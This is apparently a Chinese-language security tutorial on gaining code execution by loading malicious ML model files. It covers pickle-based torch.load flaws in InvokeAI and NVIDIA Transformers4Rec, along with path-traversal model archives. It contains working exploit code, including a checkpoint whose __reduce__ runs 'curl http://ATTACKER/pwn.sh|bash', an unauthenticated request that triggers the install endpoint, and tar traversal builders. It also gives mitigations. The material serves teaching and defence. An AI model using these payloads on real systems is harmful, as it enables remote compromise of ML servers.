模型 RCE

Reading time: 14 minutes

将模型加载以触发 RCE

Machine Learning 模型通常以不同格式共享，例如 ONNX、TensorFlow、PyTorch 等。这些模型可以被加载到开发者机器或生产系统中以供使用。通常模型不应包含恶意代码，但在某些情况下，模型可被用来在系统上执行任意代码，既可能是作为设计特性，也可能是因为模型加载库的漏洞。

在撰写本文时，以下是此类漏洞的一些示例：

此外，有一些基于 Python pickle 的模型（例如 PyTorch 使用的那些）如果没有使用 weights_only=True 加载，就可能被用来在系统上执行任意代码。因此，任何基于 pickle 的模型都可能特别容易受到此类攻击，即使它们未列在上表中。

🆕 InvokeAI 通过 torch.load 的 RCE (CVE-2024-12029)

InvokeAI 是一个流行的开源 Stable-Diffusion web 界面。版本 5.3.1 – 5.4.2 暴露了 REST 端点 /api/v2/models/install，允许用户从任意 URL 下载并加载模型。

内部该端点最终调用：

checkpoint = torch.load(path, map_location=torch.device("meta"))

当提供的文件是 PyTorch checkpoint (*.ckpt) 时，torch.load 会执行 pickle 反序列化。因为内容直接来自用户可控的 URL，攻击者可以在 checkpoint 中嵌入带有自定义 __reduce__ 方法的恶意对象；该方法在 反序列化期间 被执行，从而在 InvokeAI server 上导致 remote code execution (RCE)。

该漏洞被分配为 CVE-2024-12029（CVSS 9.8，EPSS 61.17%）。

Exploitation walk-through

1. 创建一个恶意的 checkpoint:

# payload_gen.py
import pickle, torch, os

class Payload:
def __reduce__(self):
return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))

with open("payload.ckpt", "wb") as f:
pickle.dump(Payload(), f)

2. 在你控制的 HTTP 服务器上托管 payload.ckpt（例如 http://ATTACKER/payload.ckpt）。
3. 触发 vulnerable endpoint（无需 authentication）：

import requests

requests.post(
"http://TARGET:9090/api/v2/models/install",
params={
"source": "http://ATTACKER/payload.ckpt",  # remote model URL
"inplace": "true",                         # write inside models dir
# the dangerous default is scan=false → no AV scan
},
json={},                                         # body can be empty
timeout=5,
)

4. 当 InvokeAI 下载该文件时它会调用 torch.load() → os.system gadget 运行，攻击者在 InvokeAI 进程的上下文中获得代码执行权限。

Ready-made exploit: Metasploit 模块 exploit/linux/http/invokeai_rce_cve_2024_12029 自动化整个流程。

条件

• InvokeAI 5.3.1-5.4.2 (scan flag default false)
• /api/v2/models/install 可被攻击者访问
• 进程具有执行 shell 命令的权限

缓解措施

• 升级到 InvokeAI ≥ 5.4.3 – 补丁将 scan=True 设为默认，并在反序列化前执行恶意软件扫描。
• 在以编程方式加载 checkpoints 时使用 torch.load(file, weights_only=True) 或新的 torch.load_safe helper。
• 对 model 来源实施 allow-lists / signatures，并以最小权限运行该服务。

⚠️ 记住 任何 基于 Python pickle 的格式（包括许多 .pt, .pkl, .ckpt, .pth 文件）从不受信任的来源反序列化本质上都是不安全的。

如果你必须在反向代理后保持旧版 InvokeAI 运行，下面是一个临时的缓解示例：

location /api/v2/models/install {
deny all;                       # block direct Internet access
allow 10.0.0.0/8;               # only internal CI network can call it
}

🆕 NVIDIA Merlin Transformers4Rec RCE 通过不安全的 torch.load (CVE-2025-23298)

NVIDIA 的 Transformers4Rec（属于 Merlin）暴露了一个不安全的 checkpoint 加载器，它直接对用户提供的路径调用 torch.load()。由于 torch.load 依赖于 Python 的 pickle，攻击者控制的 checkpoint 可以在反序列化期间通过 reducer 执行任意代码。

易受攻击的路径（修复前）： transformers4rec/torch/trainer/trainer.py → load_model_trainer_states_from_checkpoint(...) → torch.load(...)。

为什么这会导致 RCE：在 Python 的 pickle 中，对象可以定义一个 reducer（__reduce__/__setstate__），返回一个可调用对象和参数。该可调用对象会在反序列化期间执行。如果这样的对象存在于 checkpoint 中，它会在任何权重被使用前运行。

最小的恶意 checkpoint 示例：

import torch

class Evil:
def __reduce__(self):
import os
return (os.system, ("id > /tmp/pwned",))

# Place the object under a key guaranteed to be deserialized early
ckpt = {
"model_state_dict": Evil(),
"trainer_state": {"epoch": 10},
}

torch.save(ckpt, "malicious.ckpt")

传递载体和影响范围:

• 通过 repo、bucket 或 artifact registry 共享的被木马化的 checkpoints/models
• 自动化的 resume/deploy 流水线会自动加载 checkpoints
• 执行发生在 training/inference workers 中，常常具有提升的权限（例如容器内的 root）

Fix: Commit b7eaea5 (PR #802) 将直接的 torch.load() 替换为在 transformers4rec/utils/serialization.py 中实现的受限、允许列表的反序列化器。新的加载器会验证类型/字段并阻止在加载过程中调用任意可调用对象。

针对 PyTorch checkpoints 的防御性建议:

• 不要对不受信任的数据进行 unpickle。尽可能优先使用非可执行格式，如 Safetensors 或 ONNX。
• 如果必须使用 PyTorch serialization，确保 weights_only=True（在较新的 PyTorch 中受支持），或者使用类似于 Transformers4Rec 补丁的自定义允许列表 unpickler。
• 强制模型来源/签名，并在沙箱中进行反序列化（seccomp/AppArmor；非 root 用户；受限文件系统且无网络出站）。
• 在 checkpoint 加载时监控 ML 服务产生的意外子进程；追踪 torch.load()/pickle 的使用。

POC 以及易受攻击/补丁 参考:

• 补丁前的易受攻击加载器: https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js
• 恶意 checkpoint POC: https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js
• 补丁后的加载器: https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js

示例 – 制作一个恶意的 PyTorch 模型

• 创建模型：

# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")

• 加载模型:

# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error

Models to Path Traversal

正如在 this blog post 中所述，不同 AI 框架使用的大多数模型格式基于归档（通常是 .zip）。因此，可能可以滥用这些格式来执行 path traversal attacks，从而读取模型加载所在系统上的任意文件。

例如，使用下面的代码你可以创建一个在加载时会在 /tmp 目录中创建文件的模型：

import tarfile

def escape(member):
member.name = "../../tmp/hacked"     # break out of the extract dir
return member

with tarfile.open("traversal_demo.model", "w:gz") as tf:
tf.add("harmless.txt", filter=escape)

或者，使用下面的代码，你可以创建一个模型，在加载时会创建一个指向 /tmp 目录的 symlink：

import tarfile, pathlib

TARGET  = "/tmp"        # where the payload will land
PAYLOAD = "abc/hacked"

def link_it(member):
member.type, member.linkname = tarfile.SYMTYPE, TARGET
return member

with tarfile.open("symlink_demo.model", "w:gz") as tf:
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
tf.add(PAYLOAD)                      # rides the symlink

深入解析: Keras .keras deserialization 和 gadget hunting

有关 .keras internals、Lambda-layer RCE、≤ 3.8 中的 arbitrary import issue，以及 allowlist 内的 post-fix gadget discovery 的专题指南，请参阅：

Keras Model Deserialization Rce And Gadget Hunting

参考资料

• OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"
• InvokeAI patch commit 756008d
• Rapid7 Metasploit module documentation
• PyTorch – security considerations for torch.load
• ZDI blog – CVE-2025-23298 Getting Remote Code Execution in NVIDIA Merlin
• ZDI advisory: ZDI-25-833
• Transformers4Rec patch commit b7eaea5 (PR #802)
• Pre-patch vulnerable loader (gist)
• Malicious checkpoint PoC (gist)
• Post-patch loader (gist)
• Hugging Face Transformers